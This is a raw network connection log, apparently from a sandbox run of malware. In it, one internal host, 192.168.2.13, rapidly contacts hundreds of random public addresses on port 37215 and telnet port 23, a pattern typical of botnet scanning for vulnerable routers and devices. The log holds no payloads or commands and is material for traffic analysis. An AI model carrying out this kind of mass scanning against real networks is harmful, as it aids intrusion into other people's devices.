Jan 5, 2025 14:27:00.726504087 CET	56446	37215	192.168.2.13	41.208.248.6
Jan 5, 2025 14:27:00.726504087 CET	56446	37215	192.168.2.13	41.149.185.208
Jan 5, 2025 14:27:00.726505041 CET	56446	37215	192.168.2.13	156.28.63.244
Jan 5, 2025 14:27:00.726511002 CET	56446	37215	192.168.2.13	197.0.9.105
Jan 5, 2025 14:27:00.726511002 CET	56446	37215	192.168.2.13	156.182.97.175
Jan 5, 2025 14:27:00.726516008 CET	56446	37215	192.168.2.13	197.32.31.39
Jan 5, 2025 14:27:00.726516008 CET	56446	37215	192.168.2.13	197.92.71.182
Jan 5, 2025 14:27:00.726530075 CET	56446	37215	192.168.2.13	156.54.173.43
Jan 5, 2025 14:27:00.726532936 CET	56446	37215	192.168.2.13	156.85.36.58
Jan 5, 2025 14:27:00.726533890 CET	56446	37215	192.168.2.13	156.90.196.52
Jan 5, 2025 14:27:00.726533890 CET	56446	37215	192.168.2.13	41.106.192.206
Jan 5, 2025 14:27:00.726535082 CET	56446	37215	192.168.2.13	156.31.85.99
Jan 5, 2025 14:27:00.726535082 CET	56446	37215	192.168.2.13	41.221.123.236
Jan 5, 2025 14:27:00.726536036 CET	56446	37215	192.168.2.13	41.136.73.49
Jan 5, 2025 14:27:00.726536036 CET	56446	37215	192.168.2.13	156.59.23.179
Jan 5, 2025 14:27:00.726536989 CET	56446	37215	192.168.2.13	41.220.221.24
Jan 5, 2025 14:27:00.726536989 CET	56446	37215	192.168.2.13	156.25.113.116
Jan 5, 2025 14:27:00.726537943 CET	56446	37215	192.168.2.13	156.144.183.43
Jan 5, 2025 14:27:00.726537943 CET	56446	37215	192.168.2.13	41.145.246.28
Jan 5, 2025 14:27:00.726537943 CET	56446	37215	192.168.2.13	197.218.32.48
Jan 5, 2025 14:27:00.726537943 CET	56446	37215	192.168.2.13	156.27.3.88
Jan 5, 2025 14:27:00.726542950 CET	56446	37215	192.168.2.13	41.101.101.28
Jan 5, 2025 14:27:00.726542950 CET	56446	37215	192.168.2.13	197.144.45.195
Jan 5, 2025 14:27:00.726547003 CET	56446	37215	192.168.2.13	156.189.4.160
Jan 5, 2025 14:27:00.726550102 CET	56446	37215	192.168.2.13	197.85.153.192
Jan 5, 2025 14:27:00.726551056 CET	56446	37215	192.168.2.13	41.197.142.102
Jan 5, 2025 14:27:00.726552010 CET	56446	37215	192.168.2.13	197.100.25.178
Jan 5, 2025 14:27:00.726552010 CET	56446	37215	192.168.2.13	41.131.13.170
Jan 5, 2025 14:27:00.726551056 CET	56446	37215	192.168.2.13	41.60.20.70
Jan 5, 2025 14:27:00.726551056 CET	56446	37215	192.168.2.13	156.108.226.157
Jan 5, 2025 14:27:00.726555109 CET	56446	37215	192.168.2.13	156.184.104.116
Jan 5, 2025 14:27:00.726557016 CET	56446	37215	192.168.2.13	156.85.35.111
Jan 5, 2025 14:27:00.726564884 CET	56446	37215	192.168.2.13	197.157.134.100
Jan 5, 2025 14:27:00.726564884 CET	56446	37215	192.168.2.13	156.149.61.52
Jan 5, 2025 14:27:00.726564884 CET	56446	37215	192.168.2.13	197.162.97.0
Jan 5, 2025 14:27:00.726564884 CET	56446	37215	192.168.2.13	41.237.68.221
Jan 5, 2025 14:27:00.726564884 CET	56446	37215	192.168.2.13	156.6.64.160
Jan 5, 2025 14:27:00.726567984 CET	56446	37215	192.168.2.13	197.65.173.132
Jan 5, 2025 14:27:00.726568937 CET	56446	37215	192.168.2.13	41.43.239.4
Jan 5, 2025 14:27:00.726569891 CET	56446	37215	192.168.2.13	156.16.204.246
Jan 5, 2025 14:27:00.726567984 CET	56446	37215	192.168.2.13	156.249.26.102
Jan 5, 2025 14:27:00.726569891 CET	56446	37215	192.168.2.13	197.92.208.137
Jan 5, 2025 14:27:00.726577044 CET	56446	37215	192.168.2.13	197.212.14.68
Jan 5, 2025 14:27:00.726577044 CET	56446	37215	192.168.2.13	156.24.197.154
Jan 5, 2025 14:27:00.726577044 CET	56446	37215	192.168.2.13	197.175.173.65
Jan 5, 2025 14:27:00.726596117 CET	56446	37215	192.168.2.13	197.130.85.158
Jan 5, 2025 14:27:00.726597071 CET	56446	37215	192.168.2.13	156.36.171.165
Jan 5, 2025 14:27:00.726598978 CET	56446	37215	192.168.2.13	41.154.153.248
Jan 5, 2025 14:27:00.726600885 CET	56446	37215	192.168.2.13	41.167.89.74
Jan 5, 2025 14:27:00.726600885 CET	56446	37215	192.168.2.13	156.236.232.226
Jan 5, 2025 14:27:00.726600885 CET	56446	37215	192.168.2.13	156.183.215.237
Jan 5, 2025 14:27:00.726602077 CET	56446	37215	192.168.2.13	41.172.96.158
Jan 5, 2025 14:27:00.726603031 CET	56446	37215	192.168.2.13	197.11.251.84
Jan 5, 2025 14:27:00.726603031 CET	56446	37215	192.168.2.13	156.55.83.44
Jan 5, 2025 14:27:00.726612091 CET	56446	37215	192.168.2.13	156.97.154.146
Jan 5, 2025 14:27:00.726612091 CET	56446	37215	192.168.2.13	156.39.185.43
Jan 5, 2025 14:27:00.726618052 CET	56446	37215	192.168.2.13	197.92.2.208
Jan 5, 2025 14:27:00.726618052 CET	56446	37215	192.168.2.13	41.68.6.143
Jan 5, 2025 14:27:00.726633072 CET	56446	37215	192.168.2.13	156.137.231.76
Jan 5, 2025 14:27:00.726640940 CET	56446	37215	192.168.2.13	156.24.177.41
Jan 5, 2025 14:27:00.726641893 CET	36440	37215	192.168.2.13	197.9.205.109
Jan 5, 2025 14:27:00.726649046 CET	42614	37215	192.168.2.13	156.44.246.125
Jan 5, 2025 14:27:00.729825974 CET	80	52402	54.76.185.62	192.168.2.13
Jan 5, 2025 14:27:00.729835033 CET	80	56132	152.183.183.228	192.168.2.13
Jan 5, 2025 14:27:00.734627008 CET	57214	23	192.168.2.13	89.193.86.175
Jan 5, 2025 14:27:00.734631062 CET	57214	23	192.168.2.13	90.15.83.224
Jan 5, 2025 14:27:00.734637022 CET	57214	23	192.168.2.13	77.27.124.144
Jan 5, 2025 14:27:00.734637976 CET	57214	23	192.168.2.13	60.154.64.132
Jan 5, 2025 14:27:00.734637976 CET	57214	23	192.168.2.13	40.6.71.163
Jan 5, 2025 14:27:00.734637976 CET	57214	23	192.168.2.13	34.227.19.172
Jan 5, 2025 14:27:00.734642029 CET	57214	23	192.168.2.13	112.105.149.254
Jan 5, 2025 14:27:00.734647989 CET	57214	23	192.168.2.13	128.244.151.212
Jan 5, 2025 14:27:00.734647989 CET	57214	23	192.168.2.13	92.90.187.102
Jan 5, 2025 14:27:00.734647989 CET	57214	23	192.168.2.13	95.234.249.76
Jan 5, 2025 14:27:00.734649897 CET	57214	23	192.168.2.13	175.25.222.160
Jan 5, 2025 14:27:00.734653950 CET	57214	23	192.168.2.13	121.105.24.35
Jan 5, 2025 14:27:00.734656096 CET	57214	23	192.168.2.13	145.91.243.37
Jan 5, 2025 14:27:00.734658957 CET	57214	23	192.168.2.13	37.205.20.225
Jan 5, 2025 14:27:00.734659910 CET	57214	23	192.168.2.13	173.134.69.182
Jan 5, 2025 14:27:00.734667063 CET	57214	23	192.168.2.13	118.63.180.185
Jan 5, 2025 14:27:00.734668016 CET	57214	23	192.168.2.13	200.135.90.158
Jan 5, 2025 14:27:00.734668016 CET	57214	23	192.168.2.13	85.180.183.119
Jan 5, 2025 14:27:00.734673023 CET	57214	23	192.168.2.13	4.208.199.112
Jan 5, 2025 14:27:00.734673977 CET	57214	23	192.168.2.13	147.22.160.52
Jan 5, 2025 14:27:00.734673977 CET	57214	23	192.168.2.13	137.162.50.79
Jan 5, 2025 14:27:00.734673977 CET	57214	23	192.168.2.13	19.186.175.158
Jan 5, 2025 14:27:00.734673977 CET	57214	23	192.168.2.13	175.67.226.208
Jan 5, 2025 14:27:00.734678030 CET	57214	23	192.168.2.13	148.187.100.206
Jan 5, 2025 14:27:00.734678030 CET	57214	23	192.168.2.13	98.97.179.87
Jan 5, 2025 14:27:00.734682083 CET	57214	23	192.168.2.13	142.147.223.186
Jan 5, 2025 14:27:00.734688997 CET	57214	23	192.168.2.13	187.206.63.58
Jan 5, 2025 14:27:00.734690905 CET	57214	23	192.168.2.13	191.57.160.38
Jan 5, 2025 14:27:00.734690905 CET	57214	23	192.168.2.13	190.196.88.189
Jan 5, 2025 14:27:00.734690905 CET	57214	23	192.168.2.13	133.179.2.81
Jan 5, 2025 14:27:00.734699965 CET	57214	23	192.168.2.13	172.194.253.159
Jan 5, 2025 14:27:00.734699965 CET	57214	23	192.168.2.13	47.210.238.22
Jan 5, 2025 14:27:00.734699965 CET	57214	23	192.168.2.13	163.190.68.35
Jan 5, 2025 14:27:00.734704018 CET	57214	23	192.168.2.13	27.190.98.11
Jan 5, 2025 14:27:00.734711885 CET	57214	23	192.168.2.13	53.39.63.25
Jan 5, 2025 14:27:00.734713078 CET	57214	23	192.168.2.13	70.212.113.57
Jan 5, 2025 14:27:00.734714031 CET	57214	23	192.168.2.13	85.144.88.113
Jan 5, 2025 14:27:00.734713078 CET	57214	23	192.168.2.13	103.75.81.80
Jan 5, 2025 14:27:00.734716892 CET	57214	23	192.168.2.13	69.106.164.170
Jan 5, 2025 14:27:00.734716892 CET	57214	23	192.168.2.13	2.193.209.64
Jan 5, 2025 14:27:00.734720945 CET	57214	23	192.168.2.13	207.115.216.34
Jan 5, 2025 14:27:00.734720945 CET	57214	23	192.168.2.13	66.184.197.106
Jan 5, 2025 14:27:00.734720945 CET	57214	23	192.168.2.13	110.31.117.146
Jan 5, 2025 14:27:00.734724045 CET	57214	23	192.168.2.13	73.182.237.157
Jan 5, 2025 14:27:00.734731913 CET	57214	23	192.168.2.13	88.123.251.165
Jan 5, 2025 14:27:00.734735966 CET	57214	23	192.168.2.13	205.57.163.8
Jan 5, 2025 14:27:00.734735966 CET	57214	23	192.168.2.13	177.51.195.215
Jan 5, 2025 14:27:00.734736919 CET	57214	23	192.168.2.13	120.236.237.251
Jan 5, 2025 14:27:00.734736919 CET	57214	23	192.168.2.13	65.82.236.73
Jan 5, 2025 14:27:00.734738111 CET	57214	23	192.168.2.13	185.106.116.6
Jan 5, 2025 14:27:00.734738111 CET	57214	23	192.168.2.13	128.83.208.74
Jan 5, 2025 14:27:00.734738111 CET	57214	23	192.168.2.13	168.94.85.85
Jan 5, 2025 14:27:00.734738111 CET	57214	23	192.168.2.13	159.218.244.77
Jan 5, 2025 14:27:00.734745026 CET	57214	23	192.168.2.13	128.109.27.148
Jan 5, 2025 14:27:00.734746933 CET	57214	23	192.168.2.13	205.51.117.67
Jan 5, 2025 14:27:00.734750032 CET	57214	23	192.168.2.13	179.59.4.132
Jan 5, 2025 14:27:00.734750032 CET	57214	23	192.168.2.13	150.41.7.210
Jan 5, 2025 14:27:00.734750032 CET	57214	23	192.168.2.13	2.124.136.83
Jan 5, 2025 14:27:00.734750032 CET	57214	23	192.168.2.13	89.12.15.126
Jan 5, 2025 14:27:00.734751940 CET	57214	23	192.168.2.13	208.223.110.4
Jan 5, 2025 14:27:00.734751940 CET	57214	23	192.168.2.13	54.69.132.55
Jan 5, 2025 14:27:00.734751940 CET	57214	23	192.168.2.13	205.251.122.147
Jan 5, 2025 14:27:00.734756947 CET	57214	23	192.168.2.13	50.212.158.64
Jan 5, 2025 14:27:00.734764099 CET	57214	23	192.168.2.13	126.15.179.241
Jan 5, 2025 14:27:00.734765053 CET	57214	23	192.168.2.13	180.115.239.83
Jan 5, 2025 14:27:00.734772921 CET	57214	23	192.168.2.13	64.24.69.22
Jan 5, 2025 14:27:00.734772921 CET	57214	23	192.168.2.13	150.51.206.139
Jan 5, 2025 14:27:00.734772921 CET	57214	23	192.168.2.13	81.229.107.28
Jan 5, 2025 14:27:00.734772921 CET	57214	23	192.168.2.13	164.54.231.125
Jan 5, 2025 14:27:00.734777927 CET	57214	23	192.168.2.13	139.235.4.81
Jan 5, 2025 14:27:00.734777927 CET	57214	23	192.168.2.13	190.77.90.124
Jan 5, 2025 14:27:00.734777927 CET	57214	23	192.168.2.13	92.182.145.14
Jan 5, 2025 14:27:00.734781981 CET	57214	23	192.168.2.13	117.123.175.103
Jan 5, 2025 14:27:00.734785080 CET	57214	23	192.168.2.13	43.8.127.38
Jan 5, 2025 14:27:00.734786987 CET	57214	23	192.168.2.13	161.154.167.128
Jan 5, 2025 14:27:00.734791040 CET	57214	23	192.168.2.13	118.229.161.140
Jan 5, 2025 14:27:00.734793901 CET	57214	23	192.168.2.13	184.44.253.249
Jan 5, 2025 14:27:00.734805107 CET	57214	23	192.168.2.13	158.211.10.248
Jan 5, 2025 14:27:00.734808922 CET	57214	23	192.168.2.13	221.6.49.116
Jan 5, 2025 14:27:00.734811068 CET	57214	23	192.168.2.13	172.199.88.54
Jan 5, 2025 14:27:00.734811068 CET	57214	23	192.168.2.13	204.251.109.142
Jan 5, 2025 14:27:00.734811068 CET	57214	23	192.168.2.13	118.64.96.118
Jan 5, 2025 14:27:00.734811068 CET	57214	23	192.168.2.13	146.95.162.58
Jan 5, 2025 14:27:00.734812975 CET	57214	23	192.168.2.13	152.181.9.14
Jan 5, 2025 14:27:00.734813929 CET	57214	23	192.168.2.13	189.162.37.49
Jan 5, 2025 14:27:00.734812975 CET	57214	23	192.168.2.13	190.66.239.252
Jan 5, 2025 14:27:00.734813929 CET	57214	23	192.168.2.13	45.46.53.19
Jan 5, 2025 14:27:00.734814882 CET	57214	23	192.168.2.13	174.56.65.112
Jan 5, 2025 14:27:00.734814882 CET	57214	23	192.168.2.13	159.243.4.196
Jan 5, 2025 14:27:00.734817028 CET	57214	23	192.168.2.13	44.40.137.137
Jan 5, 2025 14:27:00.734817028 CET	57214	23	192.168.2.13	216.83.168.229
Jan 5, 2025 14:27:00.734821081 CET	57214	23	192.168.2.13	154.107.59.235
Jan 5, 2025 14:27:00.734832048 CET	57214	23	192.168.2.13	190.8.31.75
Jan 5, 2025 14:27:00.734832048 CET	57214	23	192.168.2.13	167.128.35.142
Jan 5, 2025 14:27:00.734832048 CET	57214	23	192.168.2.13	164.172.121.194
Jan 5, 2025 14:27:00.734832048 CET	57214	23	192.168.2.13	178.184.198.166
Jan 5, 2025 14:27:00.734832048 CET	57214	23	192.168.2.13	178.65.77.180
Jan 5, 2025 14:27:00.734833956 CET	57214	23	192.168.2.13	38.239.4.178
Jan 5, 2025 14:27:00.734837055 CET	57214	23	192.168.2.13	187.11.145.135
Jan 5, 2025 14:27:00.734837055 CET	57214	23	192.168.2.13	25.181.191.76
Jan 5, 2025 14:27:00.734838009 CET	57214	23	192.168.2.13	35.36.144.20
Jan 5, 2025 14:27:00.734838009 CET	57214	23	192.168.2.13	182.55.229.161
Jan 5, 2025 14:27:00.734838009 CET	57214	23	192.168.2.13	173.252.89.90
Jan 5, 2025 14:27:00.734839916 CET	57214	23	192.168.2.13	210.72.205.166
Jan 5, 2025 14:27:00.734841108 CET	57214	23	192.168.2.13	109.252.195.201
Jan 5, 2025 14:27:00.734843016 CET	57214	23	192.168.2.13	92.247.116.81
Jan 5, 2025 14:27:00.734862089 CET	57214	23	192.168.2.13	128.162.32.194
Jan 5, 2025 14:27:00.734862089 CET	57214	23	192.168.2.13	133.36.60.7
Jan 5, 2025 14:27:00.734862089 CET	57214	23	192.168.2.13	183.3.185.130
Jan 5, 2025 14:27:00.734863043 CET	57214	23	192.168.2.13	122.146.120.9
Jan 5, 2025 14:27:00.734863997 CET	57214	23	192.168.2.13	182.209.78.159
Jan 5, 2025 14:27:00.734865904 CET	57214	23	192.168.2.13	80.39.184.64
Jan 5, 2025 14:27:00.734863997 CET	57214	23	192.168.2.13	66.252.26.42
Jan 5, 2025 14:27:00.734865904 CET	57214	23	192.168.2.13	99.132.98.253
Jan 5, 2025 14:27:00.734867096 CET	57214	23	192.168.2.13	191.1.99.214
Jan 5, 2025 14:27:00.734865904 CET	57214	23	192.168.2.13	80.0.129.206
Jan 5, 2025 14:27:00.734867096 CET	57214	23	192.168.2.13	177.5.154.225
Jan 5, 2025 14:27:00.734868050 CET	57214	23	192.168.2.13	67.89.49.76
Jan 5, 2025 14:27:00.734868050 CET	57214	23	192.168.2.13	210.183.136.3
Jan 5, 2025 14:27:00.734868050 CET	57214	23	192.168.2.13	36.65.240.205
Jan 5, 2025 14:27:00.734870911 CET	57214	23	192.168.2.13	199.45.101.30
Jan 5, 2025 14:27:00.734863997 CET	57214	23	192.168.2.13	160.48.121.145
Jan 5, 2025 14:27:00.734869003 CET	57214	23	192.168.2.13	60.225.45.106
Jan 5, 2025 14:27:00.734875917 CET	57214	23	192.168.2.13	198.147.230.233
Jan 5, 2025 14:27:00.734875917 CET	57214	23	192.168.2.13	115.86.19.28
Jan 5, 2025 14:27:00.734868050 CET	57214	23	192.168.2.13	150.12.50.159
Jan 5, 2025 14:27:00.734868050 CET	57214	23	192.168.2.13	19.201.137.33
Jan 5, 2025 14:27:00.734884024 CET	57214	23	192.168.2.13	167.194.97.151
Jan 5, 2025 14:27:00.734884024 CET	57214	23	192.168.2.13	141.204.210.168
Jan 5, 2025 14:27:00.734884024 CET	57214	23	192.168.2.13	76.237.178.169
Jan 5, 2025 14:27:00.734886885 CET	57214	23	192.168.2.13	80.58.233.85
Jan 5, 2025 14:27:00.734886885 CET	57214	23	192.168.2.13	52.68.104.142
Jan 5, 2025 14:27:00.734886885 CET	57214	23	192.168.2.13	136.251.250.133
Jan 5, 2025 14:27:00.734886885 CET	57214	23	192.168.2.13	131.32.92.11
Jan 5, 2025 14:27:00.734888077 CET	57214	23	192.168.2.13	189.167.128.11
Jan 5, 2025 14:27:00.734888077 CET	57214	23	192.168.2.13	146.229.222.122
Jan 5, 2025 14:27:00.734889030 CET	57214	23	192.168.2.13	42.107.144.137
Jan 5, 2025 14:27:00.734888077 CET	57214	23	192.168.2.13	2.91.109.207
Jan 5, 2025 14:27:00.734889030 CET	57214	23	192.168.2.13	195.210.92.100
Jan 5, 2025 14:27:00.734891891 CET	57214	23	192.168.2.13	87.25.126.62
Jan 5, 2025 14:27:00.734891891 CET	57214	23	192.168.2.13	182.218.208.21
Jan 5, 2025 14:27:00.734894037 CET	57214	23	192.168.2.13	168.164.167.96
Jan 5, 2025 14:27:00.734894037 CET	57214	23	192.168.2.13	140.111.32.254
Jan 5, 2025 14:27:00.734896898 CET	57214	23	192.168.2.13	208.132.169.160
Jan 5, 2025 14:27:00.734899044 CET	57214	23	192.168.2.13	99.40.59.16
Jan 5, 2025 14:27:00.734916925 CET	57214	23	192.168.2.13	168.65.18.202
Jan 5, 2025 14:27:00.734916925 CET	57214	23	192.168.2.13	200.6.12.239
Jan 5, 2025 14:27:00.734916925 CET	57214	23	192.168.2.13	39.196.141.146
Jan 5, 2025 14:27:00.734916925 CET	57214	23	192.168.2.13	48.140.42.228
Jan 5, 2025 14:27:00.734919071 CET	57214	23	192.168.2.13	86.38.150.114
Jan 5, 2025 14:27:00.734919071 CET	57214	23	192.168.2.13	80.135.54.177
Jan 5, 2025 14:27:00.734919071 CET	57214	23	192.168.2.13	199.127.199.17
Jan 5, 2025 14:27:00.734920025 CET	57214	23	192.168.2.13	68.223.22.95
Jan 5, 2025 14:27:00.734920025 CET	57214	23	192.168.2.13	31.123.122.122
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	194.193.94.206
Jan 5, 2025 14:27:00.734919071 CET	57214	23	192.168.2.13	58.25.131.91
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	106.96.16.55
Jan 5, 2025 14:27:00.734922886 CET	57214	23	192.168.2.13	210.197.116.173
Jan 5, 2025 14:27:00.734925032 CET	57214	23	192.168.2.13	177.22.232.162
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	223.218.48.177
Jan 5, 2025 14:27:00.734925032 CET	57214	23	192.168.2.13	191.77.214.96
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	69.10.142.221
Jan 5, 2025 14:27:00.734925032 CET	57214	23	192.168.2.13	204.6.247.156
Jan 5, 2025 14:27:00.734920025 CET	57214	23	192.168.2.13	8.50.217.105
Jan 5, 2025 14:27:00.734925032 CET	57214	23	192.168.2.13	92.184.205.15
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	53.102.91.144
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	83.175.233.78
Jan 5, 2025 14:27:00.734920025 CET	57214	23	192.168.2.13	41.142.233.147
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	179.199.176.91
Jan 5, 2025 14:27:00.734925032 CET	57214	23	192.168.2.13	222.64.167.254
Jan 5, 2025 14:27:00.734934092 CET	57214	23	192.168.2.13	60.5.56.141
Jan 5, 2025 14:27:00.734920025 CET	57214	23	192.168.2.13	66.233.153.176
Jan 5, 2025 14:27:00.734936953 CET	57214	23	192.168.2.13	113.212.58.254
Jan 5, 2025 14:27:00.734934092 CET	57214	23	192.168.2.13	123.7.54.153
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	85.211.3.241
Jan 5, 2025 14:27:00.734944105 CET	57214	23	192.168.2.13	145.125.42.243
Jan 5, 2025 14:27:00.734925032 CET	57214	23	192.168.2.13	69.238.31.13
Jan 5, 2025 14:27:00.734920025 CET	57214	23	192.168.2.13	205.10.78.46
Jan 5, 2025 14:27:00.734920025 CET	57214	23	192.168.2.13	8.178.9.206
Jan 5, 2025 14:27:00.734944105 CET	57214	23	192.168.2.13	59.191.95.147
Jan 5, 2025 14:27:00.734949112 CET	57214	23	192.168.2.13	92.11.247.171
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	139.241.149.232
Jan 5, 2025 14:27:00.734944105 CET	57214	23	192.168.2.13	100.139.163.232
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	35.25.192.236
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	223.25.23.100
Jan 5, 2025 14:27:00.734920979 CET	57214	23	192.168.2.13	216.115.247.174
Jan 5, 2025 14:27:00.734954119 CET	57214	23	192.168.2.13	93.144.247.203
Jan 5, 2025 14:27:00.734954119 CET	57214	23	192.168.2.13	49.238.236.176
Jan 5, 2025 14:27:00.734954119 CET	57214	23	192.168.2.13	82.49.106.158
Jan 5, 2025 14:27:00.734954119 CET	57214	23	192.168.2.13	101.61.224.56
Jan 5, 2025 14:27:00.734957933 CET	57214	23	192.168.2.13	62.58.33.136
Jan 5, 2025 14:27:00.734961033 CET	57214	23	192.168.2.13	81.41.47.245
Jan 5, 2025 14:27:00.734961033 CET	57214	23	192.168.2.13	206.200.206.172
Jan 5, 2025 14:27:00.734961033 CET	57214	23	192.168.2.13	123.129.213.180
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	150.157.197.11
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	135.236.103.3
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	210.182.166.38
Jan 5, 2025 14:27:00.734965086 CET	57214	23	192.168.2.13	98.255.214.181
Jan 5, 2025 14:27:00.734965086 CET	57214	23	192.168.2.13	2.23.155.136
Jan 5, 2025 14:27:00.734970093 CET	57214	23	192.168.2.13	51.230.239.206
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	179.77.122.141
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	152.121.190.19
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	102.53.132.5
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	58.177.116.214
Jan 5, 2025 14:27:00.734970093 CET	57214	23	192.168.2.13	120.177.160.125
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	85.58.185.192
Jan 5, 2025 14:27:00.734970093 CET	57214	23	192.168.2.13	168.46.5.94
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	196.220.178.27
Jan 5, 2025 14:27:00.734970093 CET	57214	23	192.168.2.13	61.105.103.146
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	141.12.46.195
Jan 5, 2025 14:27:00.734970093 CET	57214	23	192.168.2.13	69.188.148.67
Jan 5, 2025 14:27:00.734962940 CET	57214	23	192.168.2.13	202.179.227.191
Jan 5, 2025 14:27:00.734980106 CET	57214	23	192.168.2.13	47.209.255.136
Jan 5, 2025 14:27:00.734989882 CET	57214	23	192.168.2.13	211.10.137.144
Jan 5, 2025 14:27:00.734989882 CET	57214	23	192.168.2.13	198.137.94.114
Jan 5, 2025 14:27:00.734989882 CET	57214	23	192.168.2.13	1.98.102.233
Jan 5, 2025 14:27:00.734989882 CET	57214	23	192.168.2.13	46.1.6.241
Jan 5, 2025 14:27:00.734999895 CET	57214	23	192.168.2.13	72.197.110.112
Jan 5, 2025 14:27:00.734999895 CET	57214	23	192.168.2.13	23.5.45.12
Jan 5, 2025 14:27:00.734999895 CET	57214	23	192.168.2.13	133.163.124.129
Jan 5, 2025 14:27:00.735001087 CET	57214	23	192.168.2.13	177.68.71.128
Jan 5, 2025 14:27:00.735002041 CET	57214	23	192.168.2.13	145.104.249.155
Jan 5, 2025 14:27:00.735002041 CET	57214	23	192.168.2.13	121.211.146.162
Jan 5, 2025 14:27:00.734999895 CET	57214	23	192.168.2.13	130.188.73.32
Jan 5, 2025 14:27:00.735003948 CET	57214	23	192.168.2.13	94.103.185.220
Jan 5, 2025 14:27:00.735009909 CET	57214	23	192.168.2.13	112.188.192.207
Jan 5, 2025 14:27:00.735027075 CET	57214	23	192.168.2.13	158.45.109.158
Jan 5, 2025 14:27:00.735029936 CET	57214	23	192.168.2.13	50.97.240.120
Jan 5, 2025 14:27:00.735029936 CET	57214	23	192.168.2.13	104.203.233.19
Jan 5, 2025 14:27:00.735030890 CET	57214	23	192.168.2.13	65.8.83.66
Jan 5, 2025 14:27:00.735030890 CET	57214	23	192.168.2.13	148.61.190.247
Jan 5, 2025 14:27:00.735032082 CET	57214	23	192.168.2.13	9.107.116.28
Jan 5, 2025 14:27:00.735032082 CET	57214	23	192.168.2.13	25.240.87.179
Jan 5, 2025 14:27:00.735033035 CET	57214	23	192.168.2.13	9.4.187.117
Jan 5, 2025 14:27:00.735033035 CET	57214	23	192.168.2.13	47.148.238.52
Jan 5, 2025 14:27:00.735035896 CET	57214	23	192.168.2.13	111.250.126.168
Jan 5, 2025 14:27:00.735038042 CET	57214	23	192.168.2.13	5.189.155.248
Jan 5, 2025 14:27:00.735038042 CET	57214	23	192.168.2.13	153.239.196.153
Jan 5, 2025 14:27:00.735043049 CET	57214	23	192.168.2.13	189.164.162.238
Jan 5, 2025 14:27:00.735048056 CET	57214	23	192.168.2.13	129.93.67.137
Jan 5, 2025 14:27:00.735048056 CET	57214	23	192.168.2.13	187.255.31.148
Jan 5, 2025 14:27:00.735059977 CET	57214	23	192.168.2.13	61.52.145.231
Jan 5, 2025 14:27:00.735065937 CET	57214	23	192.168.2.13	216.132.181.132
Jan 5, 2025 14:27:00.735065937 CET	57214	23	192.168.2.13	31.5.219.228
Jan 5, 2025 14:27:00.735065937 CET	57214	23	192.168.2.13	208.96.160.7
Jan 5, 2025 14:27:00.735065937 CET	57214	23	192.168.2.13	177.55.65.133
Jan 5, 2025 14:27:00.735069036 CET	57214	23	192.168.2.13	60.181.121.20
Jan 5, 2025 14:27:00.735069990 CET	57214	23	192.168.2.13	12.73.116.221
Jan 5, 2025 14:27:00.735069990 CET	57214	23	192.168.2.13	189.249.140.115
Jan 5, 2025 14:27:00.735079050 CET	57214	23	192.168.2.13	141.192.88.6
Jan 5, 2025 14:27:00.735080004 CET	57214	23	192.168.2.13	132.65.177.184
Jan 5, 2025 14:27:00.735080004 CET	57214	23	192.168.2.13	208.51.179.147
Jan 5, 2025 14:27:00.735088110 CET	57214	23	192.168.2.13	151.74.161.5
Jan 5, 2025 14:27:00.735088110 CET	57214	23	192.168.2.13	172.170.231.252
Jan 5, 2025 14:27:00.735090017 CET	57214	23	192.168.2.13	20.28.130.178
Jan 5, 2025 14:27:00.735090017 CET	57214	23	192.168.2.13	68.73.132.42
Jan 5, 2025 14:27:00.735100031 CET	57214	23	192.168.2.13	118.208.179.212
Jan 5, 2025 14:27:00.735104084 CET	57214	23	192.168.2.13	147.36.178.142
Jan 5, 2025 14:27:00.735106945 CET	57214	23	192.168.2.13	171.77.168.96
Jan 5, 2025 14:27:00.735107899 CET	57214	23	192.168.2.13	52.107.182.248
Jan 5, 2025 14:27:00.735110998 CET	57214	23	192.168.2.13	164.118.50.54
Jan 5, 2025 14:27:00.735110998 CET	57214	23	192.168.2.13	79.255.44.11
Jan 5, 2025 14:27:00.735115051 CET	57214	23	192.168.2.13	32.118.154.45
Jan 5, 2025 14:27:00.735124111 CET	57214	23	192.168.2.13	19.178.62.131
Jan 5, 2025 14:27:00.735127926 CET	57214	23	192.168.2.13	81.70.215.190
Jan 5, 2025 14:27:00.735127926 CET	57214	23	192.168.2.13	189.89.16.237
Jan 5, 2025 14:27:00.735129118 CET	57214	23	192.168.2.13	50.32.130.216
Jan 5, 2025 14:27:00.735131025 CET	57214	23	192.168.2.13	180.147.106.6
Jan 5, 2025 14:27:00.735138893 CET	57214	23	192.168.2.13	115.62.43.95
Jan 5, 2025 14:27:00.735146999 CET	57214	23	192.168.2.13	62.182.74.91
Jan 5, 2025 14:27:00.735147953 CET	57214	23	192.168.2.13	207.206.55.71
Jan 5, 2025 14:27:00.735152960 CET	57214	23	192.168.2.13	191.44.243.149
Jan 5, 2025 14:27:00.735153913 CET	57214	23	192.168.2.13	128.50.111.189
Jan 5, 2025 14:27:00.735157967 CET	57214	23	192.168.2.13	152.134.162.35
Jan 5, 2025 14:27:00.735157967 CET	57214	23	192.168.2.13	78.80.108.171
